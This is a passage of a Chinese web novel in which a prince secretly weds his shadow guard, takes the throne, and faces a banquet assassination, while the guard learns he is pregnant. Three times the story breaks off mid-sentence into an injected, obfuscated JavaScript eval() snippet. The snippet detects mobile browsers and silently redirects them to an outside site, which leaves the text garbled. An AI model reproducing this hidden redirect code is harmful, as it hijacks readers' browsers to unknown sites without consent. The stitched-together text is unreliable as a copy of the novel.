城内有参军留守,宇文暾的参军是寒门武将,深受宇文暾重用,他定会替宇文暾守住兵权,加之有暗卫传信,参军只需抵过这几日便可。 宇文暾操心的总归是这些军兵政事,他在宫中是聪明,出了宫仍还聪明么?宇文暾一度很怀疑自己的真实能力。 至第四日,俞十快马来报:“监军派出了一支小队,走官道接应马车,据说是皇帝为殿下赐了婚,马车里坐着……马车脚程不比军队,这才落下了。” 宇文暾倏地呕出一口鲜血,眼见伤势有好转,这一噩耗火烧心肺,几乎将宇文暾逼出内伤。俞之陆还嬉嬉笑笑地打趣俞十,问他有没有看见美娇娘的面容,是哪家的女子?俞十连忙去找俞四,庙内空寂下来,俞之陆收起笑容,俯下身为宇文暾擦血。 软绸布捺过宇文暾的下巴,没擦净血迹,反倒像是将血拓在宇文暾脸上。宇文暾想接过绸布自己来,俞之陆放轻手力,酸道:“我以为宇文康想不起这茬呢。” 宇文暾压下喉间腥甜,他已有主意。 俞四前来诊脉看伤,幸好不是伤口恶化。俞四接水替宇文暾清口,宇文暾洗去满嘴血味,趁俞之陆出门倒血水之际,宇文暾对俞四轻声道:“我要一对红烛与一些简单的成亲物事。今晚就要。” 俞四领命退下。俞之陆拉住俞十,打探王妃之事,俞十却一问三不知,若不是监军派人去接应,他们也不会知道那辆马车里坐着的,竟然是朔北王妃。 黄昏后,宇文暾和俞之陆用过干粮,宇文暾想要明天就回朔北城,俞之陆却认为宇文暾应当在弃村再待一日,俞之陆要做前哨。 俞之陆冷然道:“我今夜先行回城,给杨参军定心。我们的五百精兵遭埋伏,只剩伤者几十人,我还应安置他们。” 宇文暾急道:“等等,今夜你不能走。” “为何?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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契兄弟也好,夫妻也罢,名头不重要。俞之陆明白宇文暾的情意,更明白他们二人的情谊,恰如天地之间的日与月,是交相辉映的真心。 兴许二人是赶鸭子上架,兴许是再不说就晚了。宇文暾与俞之陆相互倾慕,有少年义气,也有那微妙的一点大胆,少年不识爱滋味,但若这不是爱,世间所有情皆若骗局。 宇文暾神采奕奕,去佛前点红烛,作拜堂的准备。俞之陆懵懵的,见宇文暾这般热切,像是早想好的,俞之陆心中愿意与宇文暾在一起,只能任宇文暾操持仪式。 这般大好日子,宇文暾半点不想提旁的人。二人私定终身,等他们回到朔北城,宇文暾亦会像今日安排成亲一般,安排好一切:他要将宇文康送来的人原封不动送回去;他要将谢监军送来的一万兵马全吃下;他要兴修朔北城,养民囤田,与俞之陆白日奔马,夜夜同衾;他要……他只要一般王爷的安生日子。俞之陆定会嫌弃朔北王妃的名号。一想到此,宇文暾的心化作温汤,轻轻一漾就是涟漪。 一阵急风贯入,俞之陆下意识护住烛火。 他当然是愿意的。他只是没想过,原来宇文暾也愿意。能等来宇文暾先行的承诺,是俞之陆的幸事。 石台上的佛爷面目慈爱,作见证。灰蒙蒙的旧庙里升起两团暖光,一张四方的红罗帕正中,左方的蕙玉搭上右方的刀珮,正似两小儿抵首絮话。拜堂成亲,一拜天地,无天无地只管叩首了;二拜父母,请佛爷代过;夫妻对拜,一不小心碰了脑袋,笑呵呵。末了合卺,好辣的酒,宇文暾命也不要了,一口喝尽,拿开酒杯便连咳数十下。俞之陆问,洞房否?宇文暾又是一连串地咳。俞之陆快乐极了。 *借用一下结契的风俗。本文有大概的时代参考,但改动较多,借一些概念来,比较方便我们现代人读…… 6.称帝 那夜荒村弃庙,私定了终生,可这婚亲却是再正式不过的了。后来宇文暾回朔北城,他对谢监军虚与委蛇,对这道赐婚旨意倒是强硬拒绝。 二人在荒村,很快等来了好消息。他们受袭躲往弃村那夜,俞之陆就另布了四位暗卫,前往干河谷战场,一部分安置伤兵,另一部分随马迹追踪伏兵下落。两位暗卫追至云盐县,太子旧兵改换名目为守备军,正在云盐县重整旗鼓。 若快马加鞭,一日便可往返。俞之陆当即决定前去,叫宇文暾继续留守荒村,现下荒村倒比朔北城安全。俞之陆单骑密行,抵达云盐县,认出了那带队的是太子侍卫,现已升至羽林卫。 同是侍卫,最不该的就是当面弑主。青天白日之下,趁羽林卫独自进屋,俞之陆利落地取了羽林卫首级,摸遍尸首周身,又见着太子打的黥印,随年月褪色,是忠仆的象征。俞之陆想了想,是自己轻率了,原本只打算带脑袋回去,但既然有黥印,当然得留尸首,于是他便马革裹了尸体,皮囊装了脑袋,返回荒村。 宇文暾便带着几十伤兵、数位敌军之尸身,回到朔北城。 谢监军带队迎接朔北王,宇文暾却连马都没下,叫监军陈兵,以供检阅。宇文暾隐藏受伤的事实,骑马慢行于兵阵间。阅毕,宇文暾朗声道:“你们之中,有一伙叛军,曾为当今圣上之旧部,未受皇恩,亦不服朔北军之封,潜谋不轨。我既为臣子,已尽力剿杀,但仍有余孽藏于边镇。请监军必要彻底清查,绝不放过。” 说罢,宇文暾命人从马革抖出羽林卫的尸首,脑袋与尸身已然分离、僵硬,尸身赤条条的,匍匐在地,现出太子黥印。 宇文暾向监军告知自己的箭伤,恐不能亲自替皇帝除孽。至于那来自郑州崔氏的朔北王妃,宇文暾道:“臣自小便是短命兆,如今身担边关杀孽,更命不久矣。朔北荒寒,亦不敢辱没王妃。请圣上另择良缘,以全王妃之终身大事。” 为了给退婚加一把火,宇文暾请俞四为崔氏下了痒药,这药为俞函的旧友转赠,是那类玩笑打闹、无伤大雅的药,却着实令人难受。医官前来看病,根本查不出病因。崔氏痒得日夜难眠,在医官的建议下,崔氏带人回关内大城,十日后病愈,再回朔北,再病发。如是三次,谢监军便带着搜查出的太子信物,陪同崔氏,一道回了京安,向皇帝宇文康再求指示了。 也是从那时起,宇文暾在官道上留了人,再有什么赐婚之事,只叫人根本寻不见朔北城门,识相则留命,偏执则赴黄泉道。 宇文暾与俞之陆秘密婚配,却因过分熟稔,相互别扭了好一阵。成亲半年有余,才将行夫妻之事。宇文暾美姿容,却为夫;俞之陆宽肩窄腰,竟为妻。寝中事,不便为外人道。 从此暗卫俞之陆不必在梁上守他的三皇子,三皇子也不必在寝间空无地猜想,俞之陆今夜是在还是不在。同衾相守,交换呼吸,冬听风雪,夏听鸟鸣。俞之陆挨得这般近,近得好似要替宇文暾守心。宇文暾与俞之陆肌肤相贴,偶见俞之陆的新伤,俞之陆便掌着宇文暾的手,要宇文暾替他摸摸,摸摸很快就好了。 相知相伴十二年,相守是从今开始。 世人不知朔北王府已有王妃,传说病秧子朔北王守着书卷兵刀过日子,不近女色,不知肉味。朔北王简单地办了弱冠礼,原来他抵达封地两年后才满二十,这边地王爷的苦还不知要吃多少年。 建隆二十七年,皇帝宇文康与王太后决裂,幽禁王太后于澧水台,废外戚王家势力。宇文康借当年镇北将军李家之事,扳倒外戚,李家冤案得以平凡,宇文康借此进一步收拢军心。来年,臧皇后重病不愈,留下小太子与两位公主。宇文康悲之痛之,一时耽搁政事。 王家既已倒,旧事纷纷重提。御史在朝堂上提出,朔北燕王虽居远塞,忠心不改,戍边、养民皆不落下,听闻燕王病深,宗室之体,不容失养,请陛下遣太医署医官前往,诊治病疾。皇帝又从旁的朝臣处,听说朔北已扩兵至四万,当即便下令,燕王戍边有功,然病疾沉疴,召燕王返京调养,以示圣恩。 宇文暾表面谢过皇恩,奉诏回京,仅带少量亲兵,大军则驻守朔北。于皇帝悲伤、政务空虚之际,燕王宇文暾回宫养病,提出可亲自辅佐幼太子,替兄分忧。皇帝知晓宇文暾自小聪敏,只可惜是纸面功夫——教导太子,那么多实际功夫有何用?难道是教人如何篡位?这样一想,皇帝心安,便由燕王去了。 建隆三十年,皇陵塌陷,工匠皆说,是当年随先帝下葬的巨灵石发功,皇陵内一片不祥的红粉之光,令人恐慌。李家旧案再次重提,先帝死前遗言,要求巨灵石陪葬,难道先帝知晓这巨灵石并非凡物,确有大功效,虽无法救己,却可救苍生。 为解巨灵石之谜,皇帝重集当年镇北大军,换新将掌兵。当年背叛李邕的副将被调回京城,安置在眼皮子底下,封左卫将军。新将军便是那曾经的中护军将军湛明光。 建隆三十一年,天灾再现。民间流言四起,称北地的巨灵石被拉回朝中,本应是天命所归,巨灵石却被封于地下,不见天日,惹灵石怒。湛明光频繁来报,称北地奇人异象,简直超乎寻常,有巫民可通寰宇,有养兽之部落,巨兽轰鸣天崩地倾,有丰饶之地下奇洞…… 皇帝震怒,派使持节都督与太常去往北地。于宫中沉寂三年的燕王自动请命,愿带军护卫都督、太常,北地战乱不休,又有奇人奇事,皇权不可挑战。朝中其他亲王更加躁动,燕王倒显得乖顺了太多,皇帝心中满意,遂放宇文暾出京。 北地丰饶,国中却连年灾象。一年春,皇帝在太史建议下,作一千人祭,平巨灵石之怒;又大兴皇陵修缮,在陵墓之中修灵池,巨灵石沉入池中,作皇陵之底。在这般天灾与徭役逼迫下,北昭民心躁动,有说应将巨灵石归还北地,也有说是为皇家怠慢,巨灵石不忿。 自从朔北成为燕王封地,臣民一心,引水灌溉,修田积粮,在此天灾之时,燕王调取朔北粮草,反哺国中。燕王人在北地,又兴作物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424806|184596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商贸交易,缓北昭饥荒。 建隆三十二年,一封先皇遗诏浮出水面,称巨灵石有通天之能,先皇见天命而亡,先皇不悔。诏书写明,巨灵石于北地为灾,入北昭则为镇灵石,为帝王者,需得通过巨灵石之试验,否则天灾不绝。 先皇知其命数已到,原定太子继位,可巨灵石现世,天灾现,便知太子宇文康不适宜为帝王。 年末,燕王带大军、千车粮草回京安,沿路安抚民心,充实仓廪。在百位朝臣的重谏下,军心、民心皆向燕王,宇文康禅让,尊为怀安王,迁往别宫,无诏不得回京。 巨灵石改名“镇灵石”,宇文暾回京,石动光现,似应燕王。 至此九年,宇文暾为母家平反,得群心所至,终归帝位。 回京前,宇文暾与俞之陆执酒杯,每年这一日都要重喝过交杯酒。若成亲是将红绳扣成环,那每年忆起成亲那日,一次交杯便是再扣一环,要将缘分编成结,怎么扯也不松懈。 被贬九年,亦是成亲九年。若不是相爱相护至此,这夺权大业,宇文暾撑不下来。 “之陆,其实我当年选中你,心里浮出的是另一名字。”宇文暾酒畅心宽,双眼迷蒙道:“读作‘之陆’,写作‘知路’,知晓归路。你从北漠更北来,却困在宫中……我也曾想放你走。” 俞之陆,不,是俞知路揶揄宇文暾这迟来的善心:“那你早不放我走?你现在放我走也来得及。” 宇文暾又作欲哭貌:“你不要走。” 俞知路宠溺笑道:“我眼看着就要做皇后了,不能前功尽弃。” “是,是的。我答应你,我做皇帝,你便做皇后,不管这什么朝臣史书……你也不要去住皇后的昭明殿,就与我住乾元殿。” 俞知路眼见宇文暾脑袋都要点在桌子上了,伸手扶住,又摸摸宇文暾脸侧,道:“我愿意住蓬阳殿,你我都比较熟悉。你从乾元殿来,也不算远。” 二人做平常夫妻,也都信此心永不改。俞知路心中淡淡伤怀,不知前路如何。他知道宇文暾从小教他兵书,是将他当将军来养。这九年里俞知路有数次机会,可以掀去暗卫身份,重回明面,拿个一官半职。可俞知路不愿意应付这所有人,只愿意在暗处守着宇文暾。 宇文暾不愿委屈俞知路,可外人想要委屈他们还是太容易。俞知路只得走一步看一步,宇文暾亦是如此。 今晚酒酣,便要暂做分别。宇文暾回京,俞知路则领秘密任务,这可能也是他暗卫生涯的最后一项任务——俞知路要去江湖寻回师父俞函,请他回京师,宇文暾愿亲江湖人士、寒门谋臣,止息这灭侠崇仕之风。 次日卯时,俞知路于床前吻过宇文暾,轻装上路。 这是俞知路离自由最近的一次。寻师的两个月里,俞知路行如侠客,潇洒自在。独独一件事令他糟心,不知是不是下南方水土不服,俞知路近来心胸不畅,常有恶心、淤堵之感,夜惊,昼夜颠倒,头脑昏沉,严重拖延他脚步。 7.糟糠 俞知路活了二十七年,从没来过北昭之南。北昭那么大,南方与北方很不相同,无战无乱,长久以来都贸易发达,粮食富足。俞知路看遍江南民风民貌,很是羡慕,若是当年他与族人没被打散,兴许就会在这般安稳的地界定居。运气好了,得编户齐民,可做农家;运气不好,为奴为婢。 俞知路衔着叶,心道,这兜兜转转久作仆,那还不如跟了宇文暾。他牵马进马棚,往食槽里铺了掺有苜蓿的马草。马儿吃得这般香,俞知路却是很久没吃上好饭了。他悻悻地揉腹,回官道上要找一家能勾起他食欲的食肆,放眼看去,都没得选。 这江南食家都擅长做鱼,俞知路叫店家看着上,食家便上了条煎鱼,以荤油煎焦了腌制过的整条江鱼,腌制时使了酒与酱,只着随意一煎便奇香;小二再上一碟酱肉,一碟油绿小菜,一碗满盛的米饭。小二道,咱们店煮的是新米,客官慢吃。 两月过去,俞知路吃不得荤腥,今天忽然来了兴趣,闻见鱼终于不吐了。俞知路大口扒饭,大口吃鱼,胃里饱足,不禁长出一口气。 正吃着,俞知路忽的见到熟悉身影,他猛然放筷,欲起身去门前迎人。那人也望见俞知路,喜出望外。掰指头算算,他们师徒九年未见,俞知路十八那年便生得高大,如今二十七了,仍是精武体态,端正英朗。俞函却老了,俞知路眼尖地发现,俞函右脚微跛,不像是新伤。 俞知路唤小二来添菜、上酒。师徒俩都不是多言的人,相顾沉默片刻,是酒来了才稍有谈话的兴意。俞知路是徒,理应他先开话匣,他讲了这些年在朔北的遭遇,考虑到食肆里人多耳杂,俞知路讲得很简略,只将宇文暾模糊地叫做主人。俞函静静地从头听到尾,只麻木地为自己添酒,很快小二便来上了第二壶。 俞函问道:“主子如今功成名就,依旧重用你,你回去有什么希求吗?” 俞知路不好平白地告诉师父,他与宇文暾已在一起的事实,这太羞人。宇文暾说要让他当皇后,这该怎么说?俞知路道:“都听主子安排,大抵是要过明路。” “过明路……主子教你这么多计法,是该过明路。这些年你都在暗处,可还有壮志?” 俞知路不解:“什么壮志?” “从今往后,你与主子不是简单的主与仆了,他有他的志向,你有吗?”俞函一顿,酒杯落桌,震出酒液。“主子一直紧紧看管你,干涉我的教育。为师唯独忘记教你考虑自己。你是我见过最有武学天才的人,早该英雄扬名。天地之宽,江湖之远,你还年轻。” 可最初不就是俞函将俞知路带到宇文暾面前的么?俞知路按下焦躁,不愿忤逆师长,只好不作回应。 俞知路和俞函观念不合。是夜,师徒二人将话说开。俞知路带了任务来,希望俞函考虑回京,为宇文暾效力。俞函总在俞知路面前提他各色江湖友人、豪侠奇士,俞知路说:“师父应该听说了北地奇异,我与兰缨在北地驻军一年,确有其事,兰缨便想利用这种种奇异,为百姓谋福。我们听闻南边亦有奇异,于江海大泽深处。师父你认识这么多奇人,我们可供钱财粮草,请他们前去一探……” 俞函仔细打量俞知路,目光渐渐森寒。“之陆,你真信帝王?”俞函冷然道。 这问题将俞知路问懵了。 俞知路咂摸过味来:“师父你既然不信,当初何必效劳李夫人与三皇子?你看见了,不论是宇文敬还是宇文康,他们做皇帝都一个样。兰缨有大抱负,做朔北的王爷远不能助他实现抱负。你看着兰缨长大,为何不信兰缨?”俞知路看见俞函脸色变幻,应是压下了许多话。 他们师徒经年未见,难免生隔阂。俞知路一副替人分忧的样子,令俞函恨铁不成钢:“这是宇文家的社稷!他难道真能分你一杯羹吃!你缺他那些虚名浮利么!我是不会引荐友人去做朝廷鹰犬的。你也知道,南边江海有异象,令人向往,你便去跟陛下说,我与友人南渡了,无缘日后不见!” 师徒不欢而散。又隔三年,俞知路才辗转知晓,俞函反复无常的原因。当年湛明光因李家落难,俞函前去帮扶湛家,而后先帝宇文康放松警惕,召回湛明光接替镇北将军,湛明光忙不迭便去了。落难期间,湛明光与俞函的江湖旧友交好,官复原职时带走了二位贤士,俞函阻止未果,俞知路甚至认识这二位。宇文暾登基后两年,先后杀谋臣、旧卫数人。俞函是早厌倦了帝王心术,更恨自己应和这人人都要当狗的时代。 “这帝王之座,换谁坐都一样。说不定你会怀念那朔北王。” 俞知路送俞函上船,断了接俞函回京的心思。俞函临别时这样感慨,他这些年摇摆不定,做了许多相悖之事,俞知路亦是被俞函连累,是因为俞函将他带去中护军府,才不得自由。一想到此,俞函留下锦囊七枚,嘱托俞知路不得将锦囊交予宇文暾,留待己用。每遇艰险之际,若是思念为师,便开一枚锦囊。 江南好,可江南无亲眷。俞知路初来江南,花了两个月,走马观花,联络俞函。现下要回京安,他满心只想见兰缨。俞知路在江南时见着了新帝登基的盛景,大赦天下,锣鼓喧天,官府宣读诏书,赐酒肉于坊市,老幼相庆;大小寺庙、道观设坛祈福,钟鼓齐鸣,香火袅袅。 俞知路置身于喧嚣闹市,顿觉好不真实:兰缨真当上了皇帝。那幼时常看自己雪里练刀的兰缨,少年时打马春花游河的兰缨,落难时分他一半大氅、直将狐毛染血的兰缨,半真半假宫中称病的燕王兰缨……如今做皇帝了。 新帝登基,政事繁忙,路途又太过遥远,俞知路与宇文暾断了飞鹰密信,只有寥寥两封书信留在驿站,俞知路回程时才取到。宇文暾近来偶发头风,想俞知路想得难受,强忍疾病,夙兴夜寐。俞知路沿路采买药材,吴茱萸、蔓荆子、白芷,太医署当然有这些药物,可俞知路亲自买了才最安心。 路途中还遇见回京述职的安南军,俞知路离军队远远地,他认识安南将军,安南将军却不认识他。没关系,以后就认得了。 俞知路得了这三个月的空闲,看遍大好江山,心里很有一种被奖赏的愉悦,因得与宇文暾相知相爱、相互扶持,所以拥有好东西也是应得的。他是送宇文暾登上帝位的绝对功臣,身为暗卫,这么说是大言不惭,可俞知路自认已是皇后了,这是宇文暾许诺他的。 年末南下,开春回京,俞知路深刻感受南方之湿冷,北方之枯燥。春亦冷,天光霁明,骑马进京安城门,市井间宽宽一线晴朗无云的天。他自小在皇宫长大,宇文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433859|184596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暾说过,要将蓬阳殿留给俞知路,俞知路遂从蓬阳殿的偏门回了宫,就像小时候那样。 宇文暾还在书房见御史大夫,不得脱身,今晚恰逢上巳夜宴,宫人繁忙。俞知路静悄悄地回宫,首要是上蓬阳殿皇子寝宫的房梁,将路上与宇文暾的书信皆藏于梁后黑暗处。 俞知路侧坐房梁。与厚厚一沓泛黄书信捆在一起的,还有以绢布裹缠的长条形物事。俞知路下意识搔了搔额前,他永远戴抹额,因为他永远可能突然地长角、割角。梁上藏了几对割下的鬼角,都很有纪念意义,它们证明了宇文暾多少次置身危险中,而俞知路以性命相助,化险为夷。 俞知路解下抹额,今日他忽然不想戴了。如果抹额象征他的暗卫生涯,那今天他将开始新的生活。俞知路从未见过自己的亲生父母,他在北漠被部落族人收留,入宫二十一载,南边北边都去过了,俞知路仍未搞清楚自己是什么来头——他只知道自己是不死之身,但若是受了濒死重伤,便会长出鬼角。生鬼角时,他力大无穷,身不流血,鏖战群雄不疲累。不过,俞知路从没让人见过他长鬼角的样子,包括宇文暾;当然,见过鬼角的人也都没活,死得干脆。有些秘密一旦错过了时机,便再难开口。 在等待私会宇文暾之前,俞知路找到俞四,将江南的药材交给俞四,要俞四煎一副安神解酒毒的药,他亲自送给宇文暾,令他在饮酒前喝下。 俞四见俞知路面色略显憔悴,主动提出为俞知路诊脉。俞知路没有拒绝,掀衣摆坐在暗卫房的床榻上,任俞四摆弄。 俞四草草一搭脉,本是随意一探,可俞四很快察觉到不对劲,脸色严肃,让俞知路换一只手来。俞知路暗自咕哝,向来都是诊左手的,怎么还要诊右手。 “近来可还吃得好、睡得好?” “不适应南方,吃睡皆不舒服。” “怎么个不舒服法?” 俞知路心里忽然有些慌:“胸闷气短,食不下咽,胃里翻江倒海,日夜颠翻,不眠不醒。” 俞四再一次要俞知路递左手来,俞知路不耐道:“究竟是什么毛病?” “怎么诊都是个喜脉。”俞四牛鼻子出气,很难以置信的模样。 俞知路一听便轻松了,如此荒唐,他哪能怀孕?“是你医术不精砸了脚!我还以为是生了什么重病……” “陆哥,你伤愈极快,不是常人。若说你能怀孕,我也是信的。”俞四正色道。 暗卫们皆知俞知路与宇文暾是夫妻,虽然宇文暾的贴身近卫都由俞知路负责,可暗卫们也知道不少消息。俞知路直白道:“我与兰缨已有九年,要有早该有了。罢辽,你去煎药,我去太医署找御医再诊一次。” 俞四拦下俞知路,他略带不安道:“等今晚夜宴过了再去吧。陆哥,你不在的这三月,宫中变化颇多,陛下这些时日从未召过我们,好像我们不存在一般。” “是么,那是挺奇怪。”俞知路给自己倒一杯冷茶,急急喝下,“这药先不慌忙煎了,我先去见兰缨。他这三月以来,收到不少给他塞妃子、皇后的奏折吧?” “是……但陛下后宫仍空无一人。” “你们替我收拾蓬阳殿吧,我今夜就住进来。” “好!” 8.夜宴 上巳夜宴将在御林苑的浩池旁举办,浩池位于皇宫西南侧,车马行进约两炷香时间可到。皇帝设宴联络贵族、名门、军将,这是宇文暾称帝之后第一次举办大型宴会,宫内准备颇久,下午便见到数辆马车、辇轿浩浩荡荡地出宫,先行去往御林苑。 俞知路等啊等,御史大夫终于出了书房,而后退出来的,还有一位面熟的黄门侍郎,俞知路忽的想起他名姓,这人叫孙遗甫。孙遗甫自然是找不见俞知路的踪影,只好像有所感应一般,四下张望,一对蛇目很是机警,美且危险。想起来了,孙遗甫当年便在几家皇子处都得了好印象,孙遗甫选中宇文暾,愿做宇文暾的伴读,宇文暾拒绝。 “怎是让孙遗甫来为你研墨?” 宇文暾正闭目放空,熟悉的声音在耳后一炸,宇文暾一激灵,旋身后看,险些扭了脖子。 俞知路施施然从书架后方绕出,宇文暾大喜,掀衣摆快步下台,与俞知路拥抱作一团。俞知路接住宇文暾,顿觉宇文暾消瘦,宇文暾没听清俞知路方才问了什么,俞知路只好放过宇文暾。 “我以为你赶不回来!”宇文暾很是怜惜俞知路,料想俞知路是加急赶路回来的,他回桌前自己斟了茶,双手递给俞知路,“什么时候到的?可还辛苦?一路上只有我寄信于你,你是一封信也不给我来啊!” 俞知路嗅了嗅茶水,无毒,很满意暗卫们对宇文暾的保护,尽管宇文暾并没有做任何特别的安排和召见。“午后到的,我回蓬阳殿逛了一圈,好萧索。我没什么可寄信说的,不像你一般喜欢撒娇。” 宇文暾一身皇帝朝服,戴玉石发冠,陌生又熟悉。书房内尽是陈年书卷悠悠散发着墨味与尘味,四方门禁闭,闷沉幽暗,却是点多少灯都祛不掉这阴郁。俞知路不满意御书房,觉得不如宇文暾当皇子时自在,那时还能敞门透光的。 很快宇文暾就要动身前往御林苑,他原想领俞知路回乾元殿休息片刻,时间来不及了。俞知路一身侍卫劲装,朴素无华,宇文暾想去唤常侍,为俞知路送一身礼服来。 俞知路拦道:“今夜我先继续以暗卫身份行事,无需礼服!” 宇文暾道:“怎么,你怕今晚我忽然宣明你身份?” 俞知路点头,临见到宇文暾的皇帝装束,他才发现原来自己并未做好准备。俞知路道:“你待我熟悉了宫中再说罢,一旦有了身份,我就没机会去各处闲逛了。” “你入宫这么多年,怎么还没逛够?” “不够……还有很多宫殿从未去过的。” 俞知路拢紧宇文暾的手,忽然想起宇文暾的头风,一问才知道,宇文暾这偏头痛发作得极为厉害了,几乎每日都有三四回,而且愈到了与朝臣谈要事,这头疾愈是让人难以忽视。宇文暾承认道:“都怪我这多病之体,最近做了好几个决定,事后想来都觉得失策,可是头疼难自已,我既不能向臣子说明我情况,亦不能撤回旨意,皇命不可反复。” 俞知路很心疼宇文暾,要宇文暾坐回椅前,俞知路从旁替他揉揉太阳穴、按按后颈。 一想到从江南带回的那些药,俞知路就顺带想起俞四方才的诊脉。鬼使神差地,可能是甫一回宫,心有不安,俞知路决定暂时瞒下喜脉一事,等他验证清楚之后再告知宇文暾,免得为宇文暾平添许多思考负担。 俞知路的手上有茧,但却是宇文暾最熟悉的粗粝触感。很快地,宇文暾在椅前睡着了。俞知路观宇文暾的面色,便知道宇文暾近来休息不足。俞知路静静地侍立在木椅旁,听宇文暾的呼吸,心道晚上睡觉时可渡给宇文暾一些内力,或干脆可以点宇文暾的睡穴,总的要让人睡好不是么? 傍晚,宇文暾乘车去往御林苑,俞知路与十二暗卫们碰面,交换信息,夜色将近时才抵达浩池旁,眼见着宾客尽至,热闹非凡,是快要开宴了。 上巳夜宴,临水点灯。历代皇帝皆不常办上巳夜宴,因是太过轻松,有失皇家威严。上巳节,常意在以流水濯身、祛病辟邪,雅集兰亭,咏诗行歌,游戏弋射,文人雅士、武者兵将皆可得其乐。 濯身是不行了,但行舟、放灯、戏水是必不可少的。皇帝坐池畔中央大华盖之下,帝座旁是宗室诸王、世家老臣、心腹文武官。年轻的世家贵族与文臣武官坐稍远处,女性宗室、臣子女眷则在池对侧,坐女席。几案错落,灯影摇曳,浩池内舟楫十余,有舞者于彩船上舞蹈祭神,有年轻武官与世族子弟在外廊玩投壶游戏,亦有士子写诗藏于水灯中,随波远去。 氛围越是轻松,俞知路越是紧张。天地之间好像忽然抻直了一根细丝,往事走马灯奔过,却被细丝拦腰,斩落马下。俞知路远眺着油亮的池水,久久出神,不知道这寒毛尽起的感觉从何而来。 俞知路做了易容,腰间挂的只是一把普通的刀,而非惊时刀。他立于华盖后,离宇文暾一丈远。 宇文暾当了皇帝,他可带羽林近卫。俞知路不认识这些羽林近卫,一位位仔细打量,被羽林近卫回以眼刀。再看王公贵族,宇文暾好记性,总知道谁是谁家、谁担谁职,俞知路心大,又不是他做皇帝,统统记不得。席间总有女子的声音,隔了浩池还飘过来,所有人都操心着宇文暾的婚事,都说皇帝在朔北封地时拒了婚,这一拒就是九年,如今登天,不可不思量子嗣后代。于是乎众士族女子的婚嫁又成了话题的中心,遭这些老臣当颗糖丸,舔来送去,好不恶心。 舞伎的游船近了,要登岸,顺一条新绿的草道小跑而来,到席间献艺。宇文暾回身,俞知路接收到眼神,近来侍奉。宇文暾唇语道:“我说过不要歌舞。你去查查。” 说罢,俞知路退开,宇文暾笑着挥手喊停,佯装不在意地拿话点筹备歌舞的太常官员。舞伎退去,俞知路从席后平行跟上。人群之间,一名胡人女子忽的与俞知路四目相对,行步间,女子一直盯着俞知路,渐渐地双目含了泪。 只听不知哪儿来的一呼哨,暗中的羽林卫竟有人抽刀砍向身旁的同僚,但更是有羽林卫从丛中拾起弓来,捡了投壶中的长箭,竟是向皇帝、贵族处放流箭。俞知路催使轻功,很快至宇文暾身前,挽刀护主,俞知路顺势踢倒重重华盖,挡至身前,并对宇文暾道:“随我来。” 宇文暾骇在原地,似是不敢相信自己的眼睛。俞知路以为宇文暾这是吓傻了,只得拉着宇文暾往御林苑深处逃去。有其他暗卫奔来护主,俞知路留了三位,遣使剩下的暗卫去宴席之间帮忙。今日暗敌突然发难,不知皇室宗亲、功臣名将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女刺客并未回话,只使出毕生功夫,要拿下宇文暾的命。俞知路有心留活口,弯刀勾住女刺客袭击的同时,试图点穴。女刺客见俞知路与她周旋,她难以得手,又听见远方哨音,女刺客后退出门,消失于夜色中。 俞知路顾不得那么多,只按宇文暾所命令的,差使暗卫去备马。俞知路不言,宇文暾也不语,二人都有很深很重的思虑,却各有偏向。出了行宫,暗卫抢来官马,停在两座行宫相夹的路池旁,俞知路只听多方来人,又有刀剑相接的声音,很快便见到了交战双方,是湛明光将军的儿子小湛将军前来救驾,与一伙足有百人的刺客激战。 刺客一心想取宇文暾性命,战火包围过来,俞知路想找见娄阿倪的身影,却又深知现在不是时候。这伙刺客比刚才的刺客更为武艺高超,什么武器都使得,纷杂不堪,令人疲累招架。 俞七接到宇文暾,担心又有飞箭,暂时未让陛下上马。小湛将军见俞知路武器不趁手,借他一把剑,俞知路见到剑,却直直将剑递给宇文暾,宇文暾才是那个使剑的人,别装作不会武。 这伙刺客棘手极了,俞知路与之酣战,宇文暾却像个站桩的木头,简直是活靶子。俞知路暴起痛骂宇文暾,正错步挡住刺客的钩锁,却忽的感到腰上为人一扯,是宇文暾。下一秒,俞知路以身挡住一支飞箭,那箭刺中俞知路侧腹,却为宇文暾争取了时间。宇文暾这下才像复苏过来,撕了长长的礼袍,御剑应敌。 9.祸乱 方才俞知路骂宇文暾像块臭石头,难道要被人踢着才会走、会跑?教了这么多年的剑,难道还没学会吗?一箭止声,俞知路眉头一紧,此箭剧痛,扎进他腰肉里,倒是不深,俞知路顺手拔出,只恨自己不精于弓射。他与宇文暾数次栽在弓上,暗箭难防。 